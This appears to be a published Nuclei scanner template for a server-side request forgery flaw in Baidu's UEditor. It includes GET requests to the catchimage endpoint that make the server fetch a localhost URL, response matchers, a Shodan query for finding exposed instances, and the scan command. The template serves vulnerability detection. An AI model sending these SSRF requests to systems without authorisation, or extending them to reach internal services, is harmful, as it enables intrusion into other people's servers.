UEditor - Server Side Request Forgery

ID: ueditor-ssrf

Severity: medium

Author: pwnhxl

Tags: ueditor,ssrf

Description

UEditor contains an Server Side Request Forgery vulnerability.

YAML Source

id: ueditor-ssrf

info:
  name: UEditor - Server Side Request Forgery
  author: pwnhxl
  severity: medium
  description: UEditor contains an Server Side Request Forgery vulnerability.
  reference:
    - https://xz.aliyun.com/t/4154
    - https://www.seebug.org/vuldb/ssvid-97311
  classification:
    cpe: cpe:2.3:a:baidu:ueditor:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: baidu
    product: ueditor
    shodan-query: html:"UEditor"
  tags: ueditor,ssrf

http:
  - method: GET
    path:
      - "{{BaseURL}}/ueditor/php/controller.php?action=catchimage&source[]=http://127.0.0.1:{{rand_text_numeric(6)}}/?1.png"
      - "{{BaseURL}}/ueditor/jsp/controller.jsp?action=catchimage&source[]=http://127.0.0.1:{{rand_text_numeric(6)}}/?1.png"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '\u94fe\u63a5\u4e0d\u53ef\u7528'
          - '"original":'
          - '"SUCCESS"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d2c966bcb7da4a7c6a6baa1a4a14df253acaf3bd7a4ea7d9988281d57fd253a3022027f186b08b83b625c730448b935e8aaefa93cd23bc66f6c29d21379573929e05:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/ueditor/ueditor-ssrf.yaml"

View on Github